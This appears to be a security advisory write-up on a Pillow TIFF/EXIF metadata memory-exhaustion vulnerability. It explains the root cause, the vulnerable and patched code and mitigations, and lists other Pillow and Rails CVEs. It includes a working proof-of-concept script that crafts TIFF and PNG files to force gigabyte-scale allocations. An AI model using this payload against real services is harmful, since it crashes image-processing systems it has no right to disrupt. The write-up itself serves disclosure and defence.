Nov 13, 2026·13 min read·2 visits
Pillow versions 1.0 through 12.3.0 fail to bound cumulative memory allocations when reading out-of-line IFD tag values in TIFF images and EXIF metadata. A small crafted file (e.g., 72 KB to 786 KB) with aliased tag offsets can force the allocation of gigabytes of RAM upon calling Image.open() or getexif(), resulting in an application crash or kernel Out-Of-Memory (OOM) termination. Fixed in Pillow 13.0.0.
CVE-2026-128066 (GHSA-wqgw-9xfh-qf2g) is a resource allocation vulnerability (CWE-770) in the Python Pillow imaging library affecting versions 1.0 through 12.3.0. The flaw resides in the ImageFileDirectory_v2.load() method within src/PIL/TiffImagePlugin.py, which processes Tag Image File Format (TIFF) structures and Exchangeable Image File Format (EXIF) metadata across multiple container formats. By supplying an image with thousands of IFD tag entries that point to overlapping or identical file offsets, an attacker can trigger quadratic memory amplification (O(N * filesize)). Because the vulnerability occurs during metadata parsing rather than pixel decoding, it bypasses Pillow's built-in decompression bomb protections (Image.MAX_IMAGE_PIXELS).
Pillow is the primary image processing library for the Python ecosystem, widely deployed in web applications, media ingestion pipelines, and document processing services to validate, transform, and extract metadata from user-supplied files. Within Pillow's architecture, the TiffImagePlugin module is responsible not only for parsing standalone TIFF files, but also for decoding Image File Directory (IFD) structures embedded within EXIF metadata payloads across JPEG, PNG, WebP, and MPO image formats.
CVE-2026-128066 (also tracked as GHSA-wqgw-9xfh-qf2g) is an unchecked resource allocation vulnerability classified under CWE-770 (Allocation of Resources Without Limits or Throttling). The vulnerability exists in ImageFileDirectory_v2.load() within src/PIL/TiffImagePlugin.py. This code path originated in the initial import of PIL 1.1.7 in 2010 and persisted through Pillow 12.3.0. When parsing IFD entries whose data payloads exceed the inline threshold (4 bytes for standard TIFF, 8 bytes for BigTIFF), the parser seeks to an attacker-controlled offset in the file stream and reads the specified byte count into a newly allocated bytes object.
Because the parser validates each tag read independently against the end-of-file boundary without tracking the cumulative bytes allocated across the entire IFD or across multiple frames, an attacker can construct an IFD where thousands of distinct tags reference the exact same byte range in the file. This offset aliasing results in quadratic memory amplification relative to the input file size ($O(N^2)$).
Crucially, this vulnerability bypasses Pillow's standard defence against resource exhaustion: Image.MAX_IMAGE_PIXELS and _decompression_bomb_check(). Those controls strictly evaluate the product of the image's declared width and height prior to pixel buffer allocation. A crafted image declaring dimensions of $1 \times 1$ pixel passes the decompression bomb check without warning while still allocating tens of gigabytes of heap memory during metadata loading.
The TIFF specification organizes metadata into Image File Directories (IFDs). A classic 32-bit TIFF IFD begins with a 2-byte unsigned integer specifying the number of directory entries (tag_count), followed by a sequence of 12-byte tag entries. Each 12-byte entry consists of a 2-byte tag identifier (tag), a 2-byte data type (typ), a 4-byte count of values (count), and a 4-byte value/offset field (data). In the 64-bit BigTIFF format, tag_count expands to 8 bytes and each entry occupies 20 bytes (HHQ8s).
When ImageFileDirectory_v2.load() iterates over these entries, it calculates the total byte size of the tag value as size = count * unit_size. If size exceeds 4 bytes (or 8 bytes in BigTIFF), the value cannot fit inline within the entry's data field. Instead, data is unpacked as a file stream offset. The parser saves its current stream position (here = fp.tell()), seeks to the unpacked offset, reads size bytes via ImageFile._safe_read(fp, size), restores the file pointer to here, and stores the resulting bytes object in the self._tagdata dictionary keyed by the tag ID.
The root cause of CVE-2026-128066 is a mismatch between the local safety invariant enforced by ImageFile._safe_read() and the global memory invariant required for safe parsing. ImageFile._safe_read(fp, size) reads data in chunks and ensures that a single read operation does not allocate memory beyond the actual bytes available between the current stream offset and the end of the file (preventing classic single-read truncation allocations where a header claims a 4 GB payload in a 1 KB file). However, _safe_read() is stateless across calls.
In a well-formed TIFF or EXIF stream, out-of-line tag payloads occupy disjoint regions of the file, meaning the sum of all allocated self._tagdata entries cannot exceed the total length of the underlying stream ($\sum \text{size}_i \le \text{filesize}$). Because ImageFileDirectory_v2.load() does not enforce this cumulative bound or verify that tag offsets are disjoint, an attacker can define $N$ distinct private tag IDs (e.g., tag IDs $1000$ through $1000 + N$) where every entry specifies offset = 1 and size = filesize - 1.
The resulting memory complexity is quadratic. Each standard TIFF tag entry requires 12 bytes in the input file, so a file containing $N$ aliased tags has a minimum size of approximately $12N$ bytes. During parsing, each of the $N$ tags allocates a buffer of size $\approx 12N$ bytes, retaining $N \times 12N = 12N^2$ bytes in self._tagdata. For a classic TIFF, the 16-bit tag ID space permits up to 65,535 distinct tags in a single IFD; a ~786 KB file with 65,535 aliased tags forces Pillow to allocate roughly 48 GiB of memory. Furthermore, in multi-frame TIFF files, TiffImageFile._seek() loads sequential IFDs chained via next-IFD pointers, allowing an attacker to multiply allocations across frames if budgets are only tracked per-IFD.
Prior to Pillow 13.0.0, the vulnerable loop in src/PIL/TiffImagePlugin.py within ImageFileDirectory_v2.load() read out-of-line tag data without tracking cumulative size:
# Vulnerable implementation in src/PIL/TiffImagePlugin.py (Pillow <= 12.3.0)
def load(self, fp: IO[bytes]) -> None:
self.reset()
self._offset = fp.tell()
try:
tag_count = (
self._unpack("Q", self._ensure_read(fp, 8))
if self._bigtiff
else self._unpack("H", self._ensure_read(fp, 2))
)[0]
for i in range(tag_count):
tag, typ, count, data = (
self._unpack("HHQ8s", self._ensure_read(fp, 20))
if self._bigtiff
else self._unpack("HHL4s", self._ensure_read(fp, 12))
)
# ... [type lookup and unit_size calculation] ...
size = count * unit_size
if size > (8 if self._bigtiff else 4):
here = fp.tell()
(offset,) = self._unpack("Q" if self._bigtiff else "L", data)
# ... [offset validation] ...
fp.seek(offset) # Seeks to aliased offset
data = ImageFile._safe_read(fp, size) # Allocates `size` bytes every iteration
fp.seek(here)
else:
data = data[:size]
self._tagdata[tag] = data # Retains allocation in dictionary
self.tagtype[tag] = typThe remediation was implemented across two commits. The first commit (4908edaf7f416616784c7c03d8c1a60153710ffb) introduced a stream-size ceiling within ImageFileDirectory_v2.load(). Upon entering load(), the parser seeks to io.SEEK_END to measure the underlying stream size (file_size) and maintains a running sum (total_size) of all out-of-line tag reads. If any tag causes total_size to exceed file_size, a UserWarning is emitted and the tag is skipped prior to calling _safe_read().
However, bounding total_size solely within a single ImageFileDirectory_v2.load() call left a bypass vector via multi-frame TIFFs. When iterating or seeking through frames in a multi-frame TIFF, TiffImageFile._seek() calls self.tag_v2.load(self.fp) for each frame. An attacker could construct a file with thousands of frames where each frame's IFD consumes up to file_size bytes, either by accumulating state or triggering repeated allocations during frame traversal. Commit 4b63dffd8a6d980fa0e21b40832fa6cbf033eacf resolved this by introducing a shared budget (_tag_data_remaining) across all frames of a TiffImageFile instance.
# Patched implementation in src/PIL/TiffImagePlugin.py (Pillow 13.0.0)
# 1. Inside ImageFileDirectory_v2.load():
def load(self, fp: IO[bytes]) -> None:
self.reset()
self._offset = fp.tell()
fp.seek(0, io.SEEK_END)
limit = fp.tell() # Measure total stream size
fp.seek(self._offset)
if self._tag_data_limit is not None:
limit = min(limit, self._tag_data_limit) # Enforce multi-frame remaining budget
self._tag_data_size = 0
try:
# ... [unpack tag_count] ...
total_size = 0
for i in range(tag_count):
# ... [unpack tag header and calculate size] ...
if size > (8 if self._bigtiff else 4):
here = fp.tell()
(offset,) = self._unpack("Q" if self._bigtiff else "L", data)
# ...
# Enforce invariant: cumulative out-of-line tag data <= stream limit
total_size += size
if total_size > limit:
warnings.warn(f"Tag data larger than file. Skipping tag {tag}")
continue
self._tag_data_size += size
fp.seek(offset)
data = ImageFile._safe_read(fp, size)
fp.seek(here)# 2. Inside TiffImageFile._open() and TiffImageFile._seek():
def _open(self) -> None:
# ...
self.fp.seek(0, io.SEEK_END)
self._tag_data_remaining = self.fp.tell() # Initialize global file budget
self._tag_data_limits: list[int] = []
def _seek(self, frame: int) -> None:
# When advancing through unseen frames:
while self.__frame < frame:
# ...
self._tag_data_limits.append(self._tag_data_remaining)
self.tag_v2._tag_data_limit = self._tag_data_remaining
self.tag_v2.load(self.fp)
self._tag_data_remaining -= self.tag_v2._tag_data_size # Deduct frame's consumption
# ...
# When seeking to a target frame (recording limit ensures deterministic reloads):
self.fp.seek(self._frame_pos[frame])
self.tag_v2._tag_data_limit = self._tag_data_limits[frame]
self.tag_v2.load(self.fp)The combined patches effectively neutralize the quadratic amplification vector. By capping cumulative out-of-line allocations across both single IFDs and multi-frame TIFF chains to $1\times$ the underlying stream length, memory consumption is strictly reduced from $O(N \times \text{filesize})$ to $O(\text{filesize})$. Furthermore, recording per-frame limits in self._tag_data_limits ensures that re-seeking to previously visited frames (im.seek(0)) behaves deterministically without allowing unbounded growth across frames. Note that nested sub-IFDs (such as ExifIFD or GPSIFD loaded via _get_ifd_dict()) instantiate separate ImageFileDirectory_v2 objects on the EXIF bytes stream; each such call is independently bounded by the EXIF segment stream size.
Exploitation of CVE-2026-128066 requires no authentication or special configuration; an attacker only needs to supply a crafted image file to an application that processes images using Pillow. Notably, the vulnerability is reachable across five distinct file formats through common API entry points, often before the application attempts to decode pixel data or validate image dimensions.
Image.open()): Calling Image.open() on a TIFF stream immediately invokes TiffImageFile._open(), which calls self._seek(0) and self.tag_v2.load(self.fp). Lazy loading does not protect against this vector because IFD metadata is loaded during the open() call itself.Image.open()): When opening a JPEG image that lacks a JFIF DPI header, JpegImageFile._open() automatically invokes self._read_dpi_from_exif(), which calls getexif() and parses the APP1 EXIF segment via ImageFileDirectory_v2.load(). A 66 KB JPEG APP1 segment with 5,400 aliased tags immediately allocates ~340 MiB upon Image.open().getexif(), ImageOps.exif_transpose()): While Image.open() on a PNG does not parse the eXIf chunk immediately, any subsequent call to im.getexif() or ImageOps.exif_transpose() triggers ImageFileDirectory_v2.load(). ImageOps.exif_transpose() is standard practice in web upload handlers to normalize camera orientation.Image.Exif.load() and ImageFileDirectory_v2.load().The following proof-of-concept script (published in advisory GHSA-wqgw-9xfh-qf2g) constructs a valid $1 \times 1$ pixel grayscale little-endian TIFF (II*\0) containing 8 standard tags and 6,000 aliased private tags (IDs 1000–6999). Each private tag has type 1 (BYTE), a count equal to size - 1, and an offset of 1:
#!/usr/bin/env python3
import io, struct, resource
from PIL import Image
# Cap address space at 4 GiB to raise MemoryError instead of triggering OS OOM-killer
resource.setrlimit(resource.RLIMIT_AS, (4 << 30, 4 << 30))
def aliased_ifd(n_alias, real=()):
"""Classic LE TIFF: header + one IFD. n_alias BYTE tags each cover the whole file."""
n = len(real) + n_alias
size = 8 + 2 + 12 * n + 4
ents = {t: struct.pack("<HHLL", t, typ, 1, v) for t, (typ, v) in dict(real).items()}
for t in range(1000, 1000 + n_alias):
ents[t] = struct.pack("<HHLL", t, 1, size - 1, 1) # BYTE[size-1] @ offset 1
blob = b"II*\0" + struct.pack("<LH", 8, n) + b"".join(ents[t] for t in sorted(ents)) + b"\0" * 4
assert len(blob) == size
return blob
# 1) TIFF: 1x1 L image + 6000 aliased private tags -> triggered via Image.open() alone
real = {256: (3, 1), 257: (3, 1), 258: (3, 8), 259: (3, 1), 262: (3, 1),
273: (4, 8), 278: (3, 1), 279: (4, 1)}
tif = aliased_ifd(6000, real)
im = Image.open(io.BytesIO(tif))
held_t = sum(len(v) for v in im.tag_v2._tagdata.values())
print(f"TIFF {len(tif)} B: Image.open() retains {held_t >> 20} MiB ({held_t // len(tif)}x file size)")
# 2) PNG: 1x1 L image with crafted eXIf chunk -> triggered via im.getexif()
exif = aliased_ifd(6000)
buf = io.BytesIO(); Image.new("L", (1, 1)).save(buf, "PNG", exif=exif); png = buf.getvalue()
im2 = Image.open(io.BytesIO(png)); e = im2.getexif()
held_e = sum(len(v) for v in e._info._tagdata.values()) if e._info is not None else 0
print(f"PNG {len(png)} B: getexif() retains {held_e >> 20} MiB ({held_e // len(png)}x file size)")When executed against Pillow 12.3.0, the 72,110-byte TIFF file causes Image.open() to allocate and retain 412 MiB of tag data in im.tag_v2._tagdata (an amplification factor of ~6,000x). Increasing n_alias to 12,000 (~144 KB file) retains 1.65 GiB (~11,700x amplification), and increasing n_alias to 65,535 (~786 KB file) attempts to allocate ~48 GiB, immediately exhausting system memory.
CVE-2026-128066 carries a CVSS v4.0 base score of 8.7 (HIGH) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N. The attack vector is Network (AV:N) with Low attack complexity (AC:L) and no attack requirements (AT:N), privileges (PR:N), or user interaction (UI:N) needed in standard web service deployments that accept image uploads.
The primary security impact is a high impact to the availability of the vulnerable system (VA:H). There is no direct impact to confidentiality (VC:N) or integrity (VI:N), as the vulnerability strictly involves heap allocations filled with existing bytes from the attacker's own input file rather than out-of-bounds memory reads or writes.
In production environments, the operational consequences of this vulnerability are magnified by two factors:
Image.MAX_IMAGE_PIXELS. Because a payload well under 800 KB can force a 48 GiB memory allocation while reporting $1 \times 1$ pixel dimensions, both controls are completely ineffective.Image.open()—remain vulnerable because JPEG APP1 and PNG eXIf segments use the exact same ImageFileDirectory_v2.load() parser.When an attacker submits one or more crafted files to a Python web worker (such as Gunicorn, uWSGI, or Celery tasks), rapid gigabyte-scale allocations will either raise an unhandled MemoryError or invoke the Linux kernel Out-Of-Memory (OOM) killer, terminating the worker process and potentially starving co-located services on the host.
The definitive fix for CVE-2026-128066 is available in Pillow 13.0.0, which incorporates both single-IFD stream size bounding (4908edaf7f416616784c7c03d8c1a60153710ffb) and multi-frame tag budget tracking (4b63dffd8a6d980fa0e21b40832fa6cbf033eacf). Development and operations teams should update their dependency manifests and rebuild affected environments:
pip install --upgrade "pillow>=13.0.0"> [!NOTE]
> After upgrading to Pillow 13.0.0, attempting to load an image with overlapping tag data that exceeds the stream size will emit a Python UserWarning matching "Tag data larger than file. Skipping tag <tag_id>" and skip the offending tags rather than raising an exception. Applications that treat warnings as errors (-W error) should ensure UserWarning exceptions during Image.open() or getexif() are caught alongside OSError and Image.DecompressionBombError.
For environments where an immediate upgrade to Pillow 13.0.0 cannot be deployed, the following mitigations reduce the risk and blast radius of exploitation:
formats parameter to Image.open() to restrict the parser to required formats only:
from PIL import Image
# Prevents TiffImagePlugin from opening standalone TIFF files
im = Image.open(stream, formats=["PNG", "WEBP"])formats to ["JPEG"] does not prevent JpegImageFile._open() from parsing EXIF APP1 metadata if the JPEG lacks a JFIF header.ImageFileDirectory_v2.load() is only reached if the application explicitly reads EXIF metadata (e.g., via im.getexif(), im._getexif(), or ImageOps.exif_transpose()). Avoid calling these methods on untrusted images until Pillow is patched.resource.setrlimit(resource.RLIMIT_AS, ...) in Python, MemoryMax= in systemd, or container memory limits in Kubernetes) paired with automatic process restart policies.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Pillow python-pillow | >= 1.0, <= 12.3.0 | 13.0.0 |
| Attribute | Detail |
|---|---|
| CVE / Advisory ID | CVE-2026-128066 / GHSA-wqgw-9xfh-qf2g |
| Vulnerability Class | CWE-770: Allocation of Resources Without Limits or Throttling |
| CVSS v4.0 Score | 8.7 HIGH (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) |
| Affected Component | ImageFileDirectory_v2.load() in src/PIL/TiffImagePlugin.py |
| Affected Formats | TIFF, JPEG (EXIF APP1), PNG (eXIf), WebP (EXIF), MPO |
| Affected Versions | Pillow >= 1.0, <= 12.3.0 |
| Patched Version | Pillow 13.0.0 |
| Exploit Status | Public Proof-of-Concept Available |
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.
CVE-2026-128067 is a memory corruption vulnerability in Pillow (versions 2.3.0 through 12.3.0) occurring when saving compressed TIFF images via the underlying libtiff encoder. By supplying crafted image geometry tags through exif=, tiffinfo=, or a source TIFF IFD, an attacker can override the scanline dimensions configured in libtiff while Pillow allocates the internal row buffer based strictly on the physical image dimensions. This mismatch induces an out-of-bounds heap read during scanline encoding, and escalates to an out-of-bounds heap write when TIFF Predictor 2 (horizontal differencing) is enabled.
CVE-2026-126081 is a mass-assignment vulnerability (CWE-915) in the Action Pack component of Ruby on Rails. Prior to versions 8.1.4.1 and 8.0.5.2, the ActionController::Parameters#each_key method was delegated directly to the internal ActiveSupport::HashWithIndifferentAccess instance holding raw request parameters. When invoked with a block, #each_key returned the underlying unpermitted hash rather than the ActionController::Parameters wrapper instance. Applications that pass the return value of #each_key directly into Active Model mass-assignment methods bypass Strong Parameters enforcement, allowing attackers to modify restricted model attributes.
A vulnerability classified under CWE-345 (Insufficient Verification of Data Authenticity) exists in the Active Storage component of Ruby on Rails prior to versions 8.1.4.1 and 8.0.5.2. When Google Cloud Storage (GCS) is configured as the storage backend with the cache_control option enabled, Active Storage switches from GCS V2 signing to V4 signing for direct upload URLs. Because the V4 signing implementation only binds the Cache-Control and Host headers, the Content-Type and Content-MD5 headers remain unsigned. An attacker can modify the Content-Type header during a direct upload request to store HTML or SVG files with active JavaScript on the GCS bucket origin, enabling Service Worker registration and interception of subsequent signed URL responses within the bucket path.
A Cross-Site Scripting (XSS) vulnerability exists in Ruby on Rails Action View prior to versions 8.0.5.2 and 8.1.4.1. When applications use the default HTML5 sanitizer (Rails::HTML5::Sanitizer) with Nokogiri versions prior to 1.19.5, angle brackets (< and >) inside HTML attribute values are serialized unescaped. Action View text helpers—specifically highlight and simple_format—perform string-based manipulations on the sanitized HTML rather than operating on the DOM tree. An unescaped '>' character or a double newline ('\n\n') inside an attribute value causes these helpers to misidentify tag or paragraph boundaries, breaking out of the attribute context and emitting inert attribute contents as live HTML elements in the final html_safe output.
CVE-2026-126070 is a Cross-Site Scripting (XSS) vulnerability in the Action View component of Ruby on Rails. Prior to versions 8.0.5.2 and 8.1.4.1, the strip_tags helper returned sanitized output marked as html_safe without encoding single or double quotation marks. When applications render the output of strip_tags inside quoted HTML attributes in ERB templates, attackers can break out of the attribute context and inject arbitrary HTML attributes or JavaScript event handlers.
CVE-2026-126078 is a Cross-Site Scripting (XSS) vulnerability classified under CWE-79 affecting the Action View component of Ruby on Rails in versions prior to 8.0.5.2 and 8.1.4.1. The vulnerability resides in the ActionView::Helpers::TextHelper#highlight method when invoked with a custom :highlighter template that places capture group placeholders inside HTML attribute values. Because matched substrings are substituted without HTML escaping after initial sanitization preserves literal quotation marks, an attacker controlling the input text or target search phrase can break out of the surrounding attribute delimiter and inject arbitrary HTML attributes or JavaScript event handlers.